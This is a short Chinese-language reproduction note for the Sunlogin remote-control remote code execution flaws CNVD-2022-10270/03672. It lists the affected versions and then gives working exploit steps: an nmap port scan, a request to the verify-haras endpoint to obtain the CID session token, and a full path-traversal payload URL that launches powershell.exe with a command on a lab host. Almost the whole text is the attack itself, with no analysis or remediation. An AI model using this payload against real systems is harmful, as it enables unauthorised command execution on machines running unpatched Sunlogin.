CNVD-2022-10270/CNVD-2022-03672 向日葵RCE复现

向日葵个人版   for Windows <= 11.0.0.33
向日葵简约版   <= V1.0.1.43315（2021.12）

1.打开向日葵

2.nmap探测端口

nmap -p40000-65535 192.168.254.130

3. 浏览器访问

ip+端口号+cgi-bin/rpc?action=verify-haras(获取session值CID)一个一个端口尝试

4.拿到CID-添加payload和cookie发送

http://192.168.254.130:54157/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20ipconfig